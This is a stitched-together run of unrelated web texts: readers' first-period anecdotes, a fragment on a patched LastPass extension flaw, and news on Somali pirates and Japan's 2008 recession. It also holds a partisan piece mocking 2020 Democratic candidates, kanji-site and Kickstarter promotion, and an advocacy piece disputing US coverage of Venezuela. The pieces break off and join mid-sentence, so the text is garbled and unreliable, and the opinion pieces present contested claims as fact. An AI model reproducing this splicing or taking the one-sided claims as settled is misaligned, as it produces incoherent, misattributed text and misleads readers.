tried putting one foot on the toilet?” Anna Menzies I only have sons I have sons but no daughters, so I always assumed I wouldn’t really have to deal with anyone’s periods starting. However, as a teacher of 10-year-olds and 11-year-olds, of course this hasn’t been the case. One girl I taught years ago sadly lost her mother to cancer shortly before she started: she quietly told me and I hugged her, welcoming her to the world of women. I found out afterwards from her dad, that it had meant the world to her. Jan Bennett ‘The budgie’s died’ When my eldest daughter was 11 (I have six children, three of each), we were having major reconstruction work done on our house. The work was being carried out in January, there was no roof on half the house and it was snowing. There was no heating, no kitchen, no hot water, all eight of us were living in one room, the youngest child was one year old and learning to walk on floors from which all carpets had been removed leaving only gripper rods to impale her bare feet, the middle children just fought all the time, the older children were pestilential prepubescents, and the father always late home. One tense evening about 6pm in the middle of this mayhem, while I was trying to prepare tea, the eldest daughter shrieks down from upstairs in great distress: “Mum! Mum!” and I think, “Oh great, that’s all we need,” and yell up to her with no sympathy at all: “I suppose you’ve started your bloody periods now, have you?” “No,” she said, “the budgie’s died.” I can’t remember how I handled her first period when it did happen, but I hope it was with a bit more tendresse than that. Margaret Smerdon Dad takes charge, pt II The year was 1981. I was 11. I lived with my dad. Had a tummy ache and thought it was due to the three Wagon Wheels and two Penguin biscuits consumed in quick succession. Went to the loo. Vivid red staining in my knickers! At that moment the electricity meter ran out. Plunged into darkness – as was my mood. Worried I had snagged my nether regions on the fence I’d climbed over earlier. Decided this was not the case and I must be dying. Quick call to my mother who sobbed down the phone that her baby had grown up and she wasn’t there – not a clue what she was waffling on about. Five minutes on phone to my older sister who was furious that I’d had the nerve to bleed before her and convinced I was lying – still had no clue. Confused. Eventually informed that I had a period – still no clue. Dad came home: “Dad, I’ve had a period.” Dad coughs a lot, leaves and comes back with every form of sanitary protection available. He asked if I knew what to do? “Pfft, course I do!” Went to school the next day with a still-wrapped tampon in my knickers and a piece of string tied around my waist. It was a very uncomfortable day. Josephine ‘Don’t talk to lads’ I started my periods at 11 years old – I had no idea what was happening. When I told my mum the next morning, she disappeared from the room and reappeared with a sanitary towel attached to a “sanitary” belt. She told me: “It’ll happen every 28 days for the rest of your life. Don’t talk to lads.” I was 13 before I found out what it was, in a biology lesson at school. Anonymous Life gets worse I will never forget the day of my first period just before my 14th birthday – a lovely old lady who lived across the road had died the same day. When I approached my mum in tears about the death and starting my period I was told: “Life will get a whole lot worse.” There was no advice and I had to learn from other friends the same tender age as me. Minky Arctic Roll In 1984 I was 15. We always dined at the table in the evening. Table is set – Dad, two younger brothers, 14 and 10, and little sister, eight. Eagerly awaiting food, Mother walks in and makes an announcement. “Today, Caroline became a woman. To celebrate we will be having Arctic roll for pudding.” I turned an interesting shade of red, my brothers’ muffled laughs will stay with me for ever. Caroline Knight Bringing us together My biological mother died when I was very young and I was largely estranged from my two sisters. One evening last year when I was called to the bathroom to hear the words from my daughter, “Mum, I think I’ve started,” my first impulse was to hug her and we both shed a quiet tear. My second impulse took me by surprise. I had a huge urge to connect to the other women in our family and for my daughter to be embraced by us all in some way. I sent texts to my niece (estranged from her mother), one of my sisters, and my mother (who had not spoken to me for more than a year). Not much of a matriarchal pack to draw from. However, when my daughter turned to me with a knowing look and asked why Nicky, Auntie Ann and Grandma had texted her, our family felt momentarily whole. Anonymous A note at breakfast By 1975, all my friends had started and filled me with horror stories. When I did eventually begin mine, I notified my mother with a note slipped under my morning breakfast bowl. I arrived home from school to an enormous box of thick Kotex pads, sanitary belt and a book entitled Now You Are a Woman. It took an age to work out the fitting of pad to belt and I was sure everyone could see what felt like a mattress between my legs. But the worst thing was that the elastic belt had a tendency to ride above my jeans, and my brothers took great delight in pinging it and laughing loudly. So very pleased when I mastered the tampon. Liz Wilson Dad’s DIY to the rescue My mum found it difficult talking to me about puberty, periods and the pain of adolescence. So she avoided it. She apparently thought my elder sister would explain it all to me. My elder sister was too busy having fun with boys to bother telling me anything. As a consequence, when my period began, I was not really sure what was happening. It was only when my mum spotted blood on the sofa that it came to light. I had the embarrassment the next day of going to school wearing a sanitary towel hand-fashioned by my dad. Dad did everything on an industrial scale, and this was no exception. There ought to be a funny punchline, but there isn’t. I survived unscathed, but did ensure that my own daughter would never have to wear a sanitary towel created by her father. Anonymous Dad takes charge, pt III My first period arrived on a Sunday – no shops open, and for some reason Mum didn’t have any sanitary towels. Dad was a deputy headteacher at the local secondary modern, so armed with threepenny bits, he got emergency supplies from the machine in the girls’ cloakroom. The best bit was how totally unembarrassed Dad was. Sue Jenkins ‘Don’t tell yer dad!’ “Mum, there’s all blood in the bed.” “Ooh, ooh,” Mum’s stock response to anything remotely threatening (escalators, cars, the outside world in general). “Don’t tell yer father, don’t tell yer father!” She handed me 50p. “Go to the chemist after choir and ask for a packet of Dr White’s and a sanitary belt.” Back home, all the paraphernalia strapped on, I watched Dad as he sat reading the Sunday People. Had Mum told him? He seemed quite normal, so probably not. Why did this need to be kept from him? I felt ashamed. I eventually coerced Mum into getting me tampons: “Ooh, ooh, but they’re for married ladies.” Another century, another world. Karen Herbert Dad takes charge, pt IV During my adolescence, I was living with my stepdad and two younger brothers (my mum had died when I was nine) so my stepdad was left to “prepare” me for what was about to happen. We had a female dog, Jenny, who had turned up at our door on my birthday. We took her in and she never left. Never spayed (no money for vet bills), she regularly bled over the kitchen floor, to be mopped up after. Clearly out of his depth, my stepfather broached the subject of my impending journey to adulthood like this: “You know what’s happening to Jenny right now? That’s gonna happen to you too.” Cue horror at the thought of trailing blood around the school corridors! Now the mother of two daughters (10 and seven), I hope to be marginally more well-rounded in my approach. Sarah from Manchester Mysterious appearance I was born in 1956 and any matters relating to puberty or sex education were not discussed in my family. All household toiletries were kept in a cupboard in my parents’ bedroom and when I was about 12 or 13, I noticed a pack of sanitary towels appeared on one of the shelves. When my periods started about a year later, I simply took what I needed from the shelf and they were always replaced with a new pack, but the subject was never mentioned or discussed. I left home at 22 and presumably no more were purchased. Sue Moore In the club Mum was always calm and reassuring. I had had a careful explanation of menstruation before I entered my all-girls secondary school. Anxiety became linked to the burgeoning development of others. Girls became young women with breasts: bras became a new item of clothing proudly worn and evident in PE changing rooms. Four years went by. Classmates talked of the “time of the month” and some presented notes to the PE staff excusing them from sporting activities. There was a discreet count in year 10 with just one question, “Have you started yet?” The “no” number among us 14-15-year-olds became smaller and smaller. Friends acquired boyfriends. Big bosoms were highly desirable in the 1950s. Less endowed girls stuffed their bras with handkerchiefs or even socks, but flat-chested me had not even earned the privilege of wearing a bra. In year 11, O-levels temporarily moved the emphasis away from bodies. But something wonderful was happening to mine. My breasts began to grow, slowly and painfully – but they grew. Mum suggested that we buy a 32A bra. Oh, how proud I was. Then in the spring of 1957, abdominal pains began: I rushed to tell Mum that I thought I needed the sanitary towels tucked away in the airing cupboard. I hurried into school: the whisper went round. I had been the only girl who hadn’t “started”. Some turned and smiled at me: others clapped. I had a broad smile. I was now a full member of the club. Jenny Gale Facebook Twitter Pinterest ‘When I approached my mum in tears about starting my period I was told: “Life will get a whole lot worse”.’ Picture posed by models. Photograph: Alamy Perfect day My 11-year-old daughter and I were on holiday in the Isles of Scilly and we had just finished exploring the beautiful gardens on Tresco. I was waiting patiently with a crowd of people outside a rather small building that was then the “ladies”. Out walked my daughter at long last – head held high with a big grin on her face – “I’ve started my periods” she announced, very excitedly. There were lots of smiles and a few embarrassed shuffles among those gathered by the loo. She then got her phone out and said: “I must text Dad and tell him too.” We then had a very pleasant mother-and-daughter time walking along the white beaches of Tresco, chatting openly about how this would affect her body, how she would feel, the fact that she could now get pregnant. Looking back on that day, I was so lucky to be able to have the time and space to welcome her into womanhood, and very proud that she felt able to talk normally about it. Faith Constantine Dad’s girl no more I was 15 and dumbfounded and thrilled. Yet I felt no different inside. I only told Mum, and she was matter-of-fact, as ever. But that night, my dad kissed me goodnight, and was especially affectionate, stroking my hair, asking questions about my day. We never spoke about it but I realised that he knew his eldest child was no longer a little girl and that it was a small rite of passage for him, too. Something wordless, but understood, passed between us, and for that sensitivity I am grateful. Sarah Westcott Dad takes charge, pt V I was always very conscious of how embarrassed my wife was around her periods. Before we were married when we first lived together she used to hide her tampons in the bathroom. I could see how ashamed she had been made to feel about her body as a woman and I was determined that our daughter wasn’t going to have the same issues. My wife told me that my daughter was having her first period but didn’t want me to make a fuss or try to talk to her about it. I asked my daughter if we could have a small family celebration as I thought this was an important event. She was embarrassed but she was also pleased. We bought a cake with red icing and some balloons and a card. We had a low-key party, then we went shopping and bought my daughter a bracelet to commemorate the day. She did warn me that if I told the shop assistant
phishing, or other attack), or to a trusted website running malicious adware This requires a per-user attack that must be executed through the user’s local browser As of this writing, all browser extensions have been patched. This vulnerability did not affect LastPass' iOS and Android apps. The firm recommends you run version 4.1.44 or higher of the extension, with most users being updated automatically.Somalia Pirates Hijack Norean Ship, Then Decide it Isn’t Worth it and Turn Themselves In December 20, 2012 By Nate Thayer Somalia pirates hijacked a North Korean ship on Tuesday only to have second thoughts after the hijackers decided it wasn’t worth the hassle or effort and have turned around and now headed back to a Somalia port to turn themselves in. Sources told Reuters that security forces guarding the North Korean-flagged vessel were involved in the hijacking of the ship and its 33 crew on the vessel late Tuesday night. According to local sources, 8 soldiers decided to hijack the ship and after traveling for several hours, the hijackers argued amongst themselves over their decision, some of the men regretted the hijacking. After heated debates, the rogue security forces decided to return the ship and contacted Puntland security officials of their decision. The MV Daesan, a North Korean ship with a load of cement was seized by Somalia authorities in November after the cargo of cement was rejected by importers in Mogadishu who claimed that it was of inferior quality saying it was wet and unusable. The Somalia purchasers refused to pay or take possession of the order. The North Korean ship then allegedly dumped the rejected cement at sea. The ship and its crew of 33 was seized, impounded, and fined last month by Puntland autonomous region authorities on Nov. 17. It has remained in custody and the fine unpaid. Puntland security officials say two coast guard boats are chaperoning the MV Daesan back into Puntland waters where the case over the MV Daesan dumped 5,000 metric tons of cement 13 nautical miles east of Bossaso coast is still ongoing at the local court. North Korea, one of the most isolated and poorest countries in the world having its goods rejected as inferior by another of the poorest most rogue nations, Somalia, and then having even its pirates decide that it was not worth the effort to hijack a North Korean ship, was not reported by official Pyongyang media. The Gulf of Aden has been the focal point of sea piracy in recent years, forcing the ships to stop and pirates boarding, taking the crews hostage, tow the vessels into Somali ports and demand millions of dollars in ransom. About 3.4 million barrels per day of oil flowed through the choke point between the Red Sea and the Gulf of Aden off of Somalia last year, according to the U.S. Energy Information Administration. About 136 hostages taken in the Indian Ocean off Somalia are still being held captive, but the number of hijackings of ships has dropped to seven in the first 11 months of this year compared to 24 in the whole of 2011. NATO records show a fall in pirate activity with no ships hijacked by pirates off the coast of Somalia for the last six months. NATO is one of the international bodies providing international warships to provide security along the Somali coasts. Attempted hijackings are also down, suggesting that pirates are concluding that the risk is not worth the effort. Unsuccessful attempts dropped to 36 this year, from 189 in 2010. A spokesman for the International Maritime Bureau in London was quoted as saying that the ships pirates are able to hijack are often owned by companies that cannot afford to pay a ransom to free the crew. “The business model is breaking,” Cyrus Mody said, but he noted that piracy seems to be rising on Africa’s West Coast. The establishment of a new Somalia government, including the election of a parliament and a President, and the appointment of a Prime Minister and a cabinet, has played a major role in decreasing piracy activities. Somalia military forces have recaptured of a number of the ports along the Somali coast in recent months. Somalia’s Supreme Court is reported to have said that pirates seized by international security forces can now be tried inside the country.According to sources close to the New York Post: "Gov. Cuomo has hired two Florida fundraisers, a sign he’s building a national network to launch a presidential bid." The two consultants — one is former Hillary Clinton money man Jon Adrabi — will help plan events and build relationships with Democratic donors in the key swing state, sources said. Here's the thing – after the debacle that was Hillary Clinton's 2016 campaign, the Democratic Party will want to reunite the old Obama coalition, which means they'll need extraordinary cross-spectrum appeal. The best way for the Democratic Party to achieve such appeal is by playing their favorite game: Victim Box. Victim Box requires a candidate that satisfies all the superficial needs of various political identity groups. Andrew Cuomo, a white male who in 2020 will be 62-years-old, falls somewhere near the bottom of the established progressive victim hierarchy and will lose any game of Victim Box in which he engages. To be sure, as governor of New York, Cuomo has pushed several beloved progressive policies. Per The New York Times: He persuaded many reluctant legislators to expand the right to marriage to same-sex couples, making New York the largest state in the country to break down this civil-rights barrier through legislative action. He muscled through the Legislature one of the strongest gun control bills in the country, expanding the ban on automatic weapons and big ammunition magazines and requiring background checks for private gun sales...[and he] raised the minimum wage. He's also had to deal with some alleged ethics issues, as well as broken promises, and propositions to cut funds to education – something progressives despise. Generally speaking, however, Governor Cuomo fits the bill as a good progressive politician. Unfortunately, he sits dead last in the 2020 edition of Victim Box. The most critical component of Victim Box is empathy for marginalized and oppressed communities, and everyone knows that one cannot experience such empathy properly unless one himself is a member of those communities. That is one of the reasons President Obama performed so well at the ballot box. He didn't simply offer a philosophical representation of oppressed minorities, he was himself an oppressed minority – running against two elderly white men, for that matter. Cuomo has some stiff competition in Victim Box: 2020. No politicians have announced plans for a White House bid as of yet, but signs point to the following individuals tossing their hats in the ring within the next two or three years: Senator Kamala Harris (D-CA), an African American female Senator Cory Booker (D-NJ), an African American male Rep. Tulsi Gabbard (D-HI), a Samoan female, who is also Hindu Senator Elizabeth Warren (D-MA), a female Julian Castro, a Hispanic male, former HUD secretary and former mayor of San Antonio Thomas Perez, a Hispanic civil rights attorney, and current DNC chair Of all the individuals mentioned above, Senator Harris has the best hand in Victim Box, which means – barring unforeseen blunders – she will have the best shot at bringing back the coalition of voters who so enthusiastically endorsed Barack Obama. Moreover, she would have the first-female-president advantage. Sorry, Cuomo. You're at the end of a very deep bench.(For more stories on the Japanese economy, click [ID:nECONJP]) By Yuzo Saeki TOKYO, Feb 16 (Reuters) - Japan’s economy plunged deeper into recession with its worst quarterly decline since the 1974 oil crisis as the global downturn slashed demand for its exports, and economists warned there was more pain ahead. The world’s second-largest economy shrank 3.3 percent in the final quarter of 2008, more than other major economies, as its heavy reliance on exports and chronically weak domestic consumption left it badly exposed to the worldwide slump. Group of Seven policymakers pledged at the weekend to do all they could to combat recession while in Japan there is growing debate about how much the heavily indebted government can do to stimulate the economy. [ID:nLE523133] Adding to the economy’s woes, the deeply unpopular government faces a revolt in parliament, while its finance minister is under pressure to quit after an embarrassing performance at the G7 meeting in Rome, casting doubt over any near-term action. “There’s no question that this is the worst recession in the post-war period,” Economics Minister Kaoru Yosano told a news conference. However, he struck a cautious note on large scale spending, saying the government could not get “addicted to pain killers”. Even though Japan has avoided much of the initial fallout from the U.S. credit and housing market meltdown, its economy contracted at an annualised rate of 12.7 percent — three times the fall in the United States, at the epicentre of the global turmoil. [ID:nN29308953] With Japanese exporters cutting production and laying off staff and many retailers reporting sharp falls in sales, economists saw little hope of a rebound. Four out of six economists quizzed by Reuters forecast a further slide of around 10 percent in the current January-March quarter with one forecasting an even deeper fall. “The data showed a severe picture of the Japanese economy and highlighted the weakness in exports,” said Takeshi Minami, chief economist at Norinchukin Research Institute. “The January-March quarter is likely to show another minus figure (annualised) in double digits or something close to double digits.” POLITICAL TURMOIL Pressure is building on the government to roll out a third stimulus package, which Japanese media said could include up to 30 trillion yen ($327 billion) in fiscal spending. But Prime Minister Taro Aso’s tentative hold on power ahead of an election due later this year, is casting doubt over a swift government response to the deepening recession. Aso faces an upper house of parliament in the hands of opposition parties, a swelling rebellion in his own party ranks and, on Monday, his finance minister and close ally Shoichi Nakagawa was forced to deny being drunk at a G7 media conference in Rome. [ID:nT229091] “It is a fact that I didn’t conduct myself clearly, and I feel I must put it straight,” Nakagawa told reporters in Tokyo, blaming his shaky performance on a large amount of cold medicine he had taken. Analysts said a departure by Nakagawa would further weaken Aso’s ability to act. The Bank of Japan has responded to mounting economic woes by nudging interest rates down near zero and taking unconventional steps, such as purchases of commercial paper and launching a new funding scheme using corporate debt as collateral. The central bank meets again this week, with markets seeing little scope for more action on rates. The prospect of more government borrowing pushed Japanese government bonds down. March 10-year government bond futures 2JGBv1 fell more than one-third of a point. FINEWS [JP/] The Nikkei share average.N225 dipped 0.4 percent but the yen JPY= rose slightly, after the G7 omitted any reference to the currency's strength in its meeting. FXNEWS [FRX/] [.T] The yen’s 24 percent rise against the currencies of Japan’s key trading partners in the quarter has added to the pain for exporters such as Toyota (7203.T) and Panasonic (6752.T). [ID:nN13360802] [ID:nT322110] The October-December quarter contraction was Japan’s second-worst in modern times, lagging only a 3.4 percent decline in 1974, after the first Middle East oil shock. The slump was worse than expected and also bigger than suffered by other major economies. Euro zone GDP shrank 1.5 percent in the same quarter while the U.S. economy contracted by just under 1 percent for an annualised rate of 3.8 percent. (For a comparative graphic, double click: here) FACTORIES STALL A plunge in exports was the main culprit behind the massive Japanese contraction, with external demand shaving 3 percentage points off GDP. The resulting build-up in inventories of unsold cars, flat-screen TVs and many other goods has forced Japanese manufacturers to halt factory lines, pushing industrial production off a cliff and boding ill for the current quarter. As big exporters cut jobs and production the pain spread to to their suppliers, sending company bankruptcies sky-rocketing and raising worries that the country’s already fragile consumption could sputter even more. ($1=91.80 Yen) (Additional reporting by Hideyuki Sano, Tetsushi Kajimoto, Masayuki Kitano, Editing by Rodney Joyce and Tomasz Janowski)Hello! My name is Eve Kushner. With my lifelong project Joy o' Kanji, I am writing one essay about each of the 2,136 Joyo kanji, the characters you need to know for basic literacy in Japanese. What You'll Find on Joy o' Kanji Kanji are as complex as humans, and Joy o' Kanji essays are like personality profiles that bring the characters to life. The essays reveal the character of the characters and the kanji (感じ) of the kanji (漢字)! Packed with gorgeous photos of kanji and of the items they represent, each essay immerses you in the world of one kanji. This immersion is essential because when you understand deeply, you can remember much more easily. Every essay presents the etymology of the star kanji and explores the role of that character in a range of words, from the most common to the most unusual. Thanks to a team of insightful native speakers who supply me with fascinating information, I can give readers access to every part of the language and culture. The extremely affordable essays are downloadable as PDFs with a zingy magazine-style layout. Check out the following sections of the site: • To know more about Joy o' Kanji: FAQ About JOK and Guide to the PDFs. • To investigate kanji radicals: Radical Terms and Radical Notes. • To deepen your understanding of kanji: Thematic Explorations, Further Resources, Ulrike's Mnemonics, and the Glossary. • To learn kanji through photos: JOKIA (Joyo Kanji in Action) photo albums. They're quite inexpensive, but one is still free! • To read my weekly blogs: JOK Notebook. • To shop for items with kanji on the surface: Kanji Kaimono. It's on an auxiliary site where vendors from around the world sell everything from jewelry and art to books. You'll find eight styles of Joy o' Kanji T-shirts there! You never know where your study of kanji will lead. Praise from the Kanji Kamigami Some of the biggest names in the field have endorsed Joy o' Kanji on the Testimonials page: • Dictionary maker Jack Halpern, famous for The Kodansha Kanji Learner's Dictionary (among other works). • Dictionary maker Wolfgang Hadamitzky, coauthor of The Kanji Dictionary. • Michael Rowley, author of Kanji Pict-o-Graphix. • Jay Rubin, famous for translating Haruki Murakami •Jim Breen, creator of the JMdict/EDICT and Kanjidic dictionaries and the WWWJDIC online dictionary, wrote a testimonial that gave me goosebumps: Eve's Joy o' Kanji site, essays and newsletters are some of the brightest lights in the world of kanji scholarship. I look forward to each monthly newsletter, and am always amazed and impressed by the energy and enthusiasm she applies to bringing this potentially deadly field to life. Keep it up! Rubin and Breen have written guest blogs, too: • Breen has contributed three. Here are the first, second, and third. • Rubin, not only a translator but also a terrific author in his own right, wrote this blog. Praise from a Subscriber Here's what one subscriber has said about Joy o' Kanji: I love this website! The best thing about these essays is that they are very empowering. The task of learning kanji is very daunting and after studying with these essays I felt that I could totally do it! I could read the shop signs, product packaging, book covers, etc., and it felt like I suddenly had a magic power for kanji understanding. I can imagine how much effort was put behind each essay! It's definitely must-have material for anyone studying the Japanese language. Thank you! ~David Holtom How You May Know Me Over the years, I've conveyed my passion for kanji in many venues.You may know my book Crazy for Kanji: A Student's Guide to the Wonderful World of Japanese Characters or my blog Kanji Curiosity, which I published on JapanesePod101.com from 2007 through 2010. I've spoken about my kanji addiction on the NBC program Asian Pacific America and on PRI's radio program The World in Words. To learn more about me and the whole Joy o' Kanji team, see Who We Are.Several months ago, I was asked to contribute a short story to a forthcoming anthology. Edited by J.M. Martin, Blackguards has one helluva line-up. I knew I had to bring my best writing. I also knew my story would be set in the world seen within The Dark Thorn. But my point of view character had to be a rogue, thief, assassin, or some other dark element in society. I thought about it a while. And I began to write. I chose to write a female thief. A thief who no longer thieved. A woman with such a dark past, responsible for so much grief, that she shuns her former criminal life entirely, replacing it with one of music, in hopes of finding some kind of redemption. But pasts are dark creatures, returning to the present when one least expects it. And Rosenwyn Whyte finds that out all too well. The White Rose Thief is also a prelude to my next novel, The Everwinter Wraith. I have several stories that lead into that novel and the part that Rosenwyn plays is one of grave importance. I wanted to explore her more in Blackguards. That’s all I will say on that. I was given a 9,000 word limit by Editor Martin. The White Rose Thief is 11,884 words long. Why did I break the imposed word limit? Because screw limits! My readers like bigger stories and so do I! Here is the line-up for Blackguards: CAROL BERG, “Seeds” RICHARD LEE BYERS, “Troll Trouble” DAVID DALGLISH, “Take You Home” JAMES ENGE, “Thieves at the Gate” JOHN GWYNNE, “Better to Live than to Die” LIAN HEARN, “His Kikuta Hands” SNORRI KRISTJANSSON, “A Kingdom and a Horse” JOSEPH LALLO, “Seeking the Shadow” MARK LAWRENCE, “The Secret” TIM MARQUITZ, “A Taste of Agony” PETER ORULLIAN, “A Length of Cherrywood” CAT RAMBO, “The Subtler Art” LAURA RESNICK, “Friendship” MARK SMYLIE, “Manhunt” KENNY SOWARD, “Jancy’s Justice” SHAWN SPEAKMAN, “The White Rose Thief” JON SPRUNK, “Sun and Steel” ANTON STROUT, “Scream” MICHAEL J. SULLIVAN, “Professional Integrity” DJANGO WEXLER, “First Kill” I’m super excited about Blackguards and the Kickstarter! I will be surrounded by some of the best writers in the business and that’s always fun. But more importantly, I am eager to see if we can make our stretch goals. Two of them, more specifically. If you go to the Kickstarter page HERE, you will see we have writer Anthony Ryan waiting in the wings with a novella set in his fantasy world! Gotta get to $17,000 for that to happen. If we make $18,000, I could possibly have my story illustrated by one of the Kubert family! I’ve been a huge fan of Joe, Andy, and Adam Kubert for two decades and having Orion Zangara—just as talented as his family members—create art based on my story would be a surreal dream come true. These stretch goals need to be met! Because I’m a huge fan of the Kubert art family as well as writer Anthony Ryan! Blackguards will be even more awesome with these extra people involved. So please, SHARE, SHARE, SHARE the Kickstarter on your social media! That means it is up to you. I’ve purchased my choice. It’s your turn! Click HERE and order your copy of Blackguards right now! The White Rose Thief is coming your way soon. And Rosenwyn is not happy about it!Media Misperceptions Venezuela: The Spin vs. The Truth As demonstrated in numerous examples in “South of the Border,” major U.S. media outlets have distorted their audiences’ perceptions of Venezuela and the government of Hugo Chávez. Most media reports on Venezuela frame their stories in ways that are likely to make American audiences distrustful and apprehensive of Venezuela. These frames are reinforced by commonly repeated media myths and inaccuracies that further tend to portray the Venezuelan government as an enemy of the United States, and as an increasingly totalitarian government that is stifling dissent, cracking down on the press, and eroding democratic freedoms. These frames and myths – “spin,” in public relations-speak – overlook an abundance of evidence to the contrary. Spin: Hugo Chávez is a dictator. Truth: The government of Venezuela has held, and Chávez and his party have won, repeated elections throughout his time in office. These elections have been considered free and fair by the Organization of American States (OAS), the European Union (EU) and the Carter Center — three major electoral observation bodies. Some criticize the Chávez government because his political party has near total control over the National Assembly; however this is a direct result of the opposition’s actions. Just days before the 2005 legislative elections most of the opposition decided to stage a boycott of the vote. This came only a few days after their representatives had told the OAS and other electoral observers that conditions had been met for their participation. The move handed almost complete control in the National Assembly to Chávez’s allies while failing to delegitimize the legislature internationally. Prior to these elections, the opposition held significant power in the National Assembly, which allowed them to block many of the Chávez administration’s policies. Real attacks on democracy have come from sectors of the Venezuelan opposition. In April 2002, a broad group of opposition forces directly supported and participated in a short-lived coup d’etat against the elected government. In late 2002 and early 2003, opposition groups paralyzed the oil industry and provoked a deep recession, in a second attempt to force President Chávez from power. In 2005, the country’s main opposition parties tried to provoke a destabilizing political crisis by boycotting the legislative elections. All of these undemocratic actions only succeeded in further discrediting an opposition movement that many Venezuelans identify with the failed policies of the unpopular governments of the past. The Chávez government continues to enjoy an overwhelming majority support of voters in most national elections. In the 2006 presidential election, in which a record number of voters participated, Chávez won with 63 percent of the vote, and in the 2008 regional elections his party won in 17 of 22 states. The next legislative elections are in September, and the opposition is expected to significantly increase its presence in the National Assembly. However the opposition remains divided and trails far behind the government in terms of popular support. Democratic participation has increased greatly under Chávez as well. For example, while turnout was around 54 percent in the 1998 elections in which Chávez was first elected, in the 2006 presidential election, voter participation jumped to 75 percent. For perspective, in the 2008 U.S. presidential election, voter participation was around 60 percent, and this was one of the highest totals in some 40 years. The Chávez administration has made it a priority to promote electoral participation within poor communities that traditionally had a low voter turnout; this has included large voter registration drives and the creation of voting centers in poor areas. Despite media reports to the contrary Venezuelans are satisfied with their democracy. The Chilean Latinbarómetro, one of the most exhaustive and well respected polling companies in the region, consistently shows that Venezuela ranks near the top of countries in the hemisphere in terms of the level of satisfaction with democracy. Spin: Chávez is clamping down on freedom of the press. The Truth: Venezuela continues to have strong opposition broadcast and print media, as any casual visitor to Venezuela can plainly see. The supposed deterioration of freedom of the press under the Chávez government is a favorite theme of U.S. media coverage of Venezuela, and it is regarding this topic that the gap between reality and media claims is usually at its widest. Anyone who travels to Venezuela will easily find numerous front-page criticisms and broadcast denunciations of the Chávez government that go well beyond the sort of attacks on Obama that appear in the U.S. press. Yet that Chávez is attempting to “eliminate independent media”[1] by “muzzling the press”[2] are favorite themes for U.S. editorial pages, with news articles chiming in that “Chavez’s administration is moving to tighten its grip over Venezuela’s media industry.”[3] U.S. media coverage has often also distorted the facts regarding the Venezuelan government’s conflicts with opposition media outlets, some of which have openly supported undemocratic and extra-constitutional means to undermine or even overthrow the government. Claims that Chávez is an enemy of press freedom reached a peak in 2007 when the Venezuelan government chose not to renew the broadcast license of opposition TV station RCTV. U.S. media and commentators claimed that RCTV was being “censored”[4] and “shut down”[5], but in reality, RCTV continued to broadcast via cable and Internet with large audience numbers, and maintaining its anti-Chávez line. While opponents of the government criticized the decision to allow RCTV’s license to expire, it is important to note that a TV station that had done even some of the things that RCTV had done would never obtain a broadcast license in the United States or any European democracy. Most importantly – as was admitted in news articles on the controversy,[6] RCTV openly supported the 2002 coup against Chávez by encouraging people to participate in opposition protests, by reporting the false information that Chávez had resigned,[7] and then, when Chávez returned to power, by airing Disney cartoons rather than report this news.[8] RCTV head Marcel Granier met with coup president Pedro Carmona during the coup, as Carmona enlisted the media’s help in attempting to ensure the coup’s success.[9] RCTV also actively promoted the oil strike (2002-2003) that attempted to topple the government, and other, legal political and electoral campaigns. Even some observers who harshly criticized the government’s decision on RCTV admitted that the issue was much more complicated, and that RCTV was not automatically entitled to its license. “Broadcasting companies in any country in the world, especially in democratic countries, are not entitled to renewal of their licenses,” José Miguel Vivanco of Human Rights Watch explained. “The lack of renewal of the contract, per se, is not a free speech issue. Just per se.”[10] In the years since the RCTV decision, instead of correcting its hyperbolic claims of Venezuelan censorship, U.S. media outlets have continued the theme. The new focus is on broadcaster Globovisión, routinely described as “Venezuela’s only remaining opposition TV television station on the open airwaves.”[11] This characterization is simply false, as numerous local TV stations in Venezuela have an opposition political line (and national broadcasters such as Televen continue to run programs with a strong opposition slant). The great majority of Venezuelan media continues to be privately owned, and the opposition dominates the newspaper industry as well. As Human Rights Watch – a frequent critic of freedom of the press in Venezuela – noted in a 2008 report, “the balance of forces in the print media has not changed significantly”, with the majority of Venezuelan newspapers continuing to be privately-owned and two of the three top newspapers maintaining an opposition political line (the third is neutral).[12] U.S. press reports also frequently describe a shift among some opposition media, such as TV station Venevisión, towards being less critical of the government.[13] While U.S. media often suggests that this could be out of fear of “censorship,” Venezuela-analyst Greg Wilpert offers another theory: “I think some of the TV stations have slightly moderated [their opposition to the government] not because of intimidation, but because they were losing audience share. Over half of the population is supportive of Chávez. They’ve reduced the number of anti-Chávez programs that they used to have. But those that continue to exist are just as anti-Chávez as they were before.”[14] Spin: Poverty has worsened under Chávez. The Truth: Poverty has fallen dramatically in Venezuela since Hugo Chávez was elected president. While poverty did rise overall from 1999 – 2003, this was largely due to the economic impact of the coup d’etat in 2002 and the severely damaging oil lockout in late 2002/early 2003. The resulting recession was extreme: a 24 percent loss of GDP from the third quarter of 2002 until the first quarter of 2003. Media outlets in the past used poverty data from 2003 or 2004 to “prove” that poverty increased under Chávez – even when more recent poverty data was available. This distorted the reality of what happened. From the first half of 2003 to the second half of 2009 the percentage of households below the poverty line declined from 54 percent to just 24.2 percent, a 55 percent decrease. Extreme poverty has also declined precipitously, from 30.2 percent in 2003 to 7.4 percent in 2009, a decline of over 75 percent. It is important to note that these poverty measures only include income measures and do not take into account the non-income benefits generated by numerous social programs that have benefited the poor. Access to health care, education and discounted food all contribute to improving the conditions of Venezuela’s poor. In addition, Venezuela has made important strides in reducing inequality. From 2002-2008, Venezuela led Latin America in decreased inequality, and currently has the most equitable distribution of income in the region. Spin: Chávez’s spend-happy policies have led to dangerously high inflation, leading to serious economic problems. The Truth: While the inflation rate in Venezuela is relatively high, it has not reached dangerous levels, as is often reported. Inflation was 31 percent in 2008, however much of this was in the first half of the year due to temporary price shocks. In 2009, inflation slowed to around 26 percent. To put this in perspective, when Chávez took office inflation was 29.5 percent, and reached 100 percent in 1996. Over the last seven years inflation has averaged roughly 21 percent per year, but this is barely over the threshold of 20 percent inflation that research has shown to negatively effect growth. The minimum wage has also largely tracked inflation. In addition, while some goods have increased more in price than the general index, some important goods have not. For instance, since December 2007, the cost of housing, household services, clothing, communications, and education have all increased less than the general rate of inflation. While food and health have both increased more, these are areas where the government of Venezuela has increased access and affordability for the poor. Spin: Venezuela’s economic growth is the result of an “oil boom” that’s headed for a bust. The Truth: While the rise in the price of oil clearly contributed to Venezuela’s strong growth, it was not the only reason and there are signs that the economy can withstand fluctuations. After the oil lock-out and subsequent recession the economy took off, growing 95 percent over the following five and half years. At the same time world oil prices continued to sharply rise. This led many media commentators to claim that Venezuela’s growth is dependent on an unsustainable oil boom. However, during those five years of rapid growth it was in fact non-oil GDP that was the prime contributor to GDP growth. In fact, from 2005-2007 the oil sector was actually a drag on growth, decreasing around two 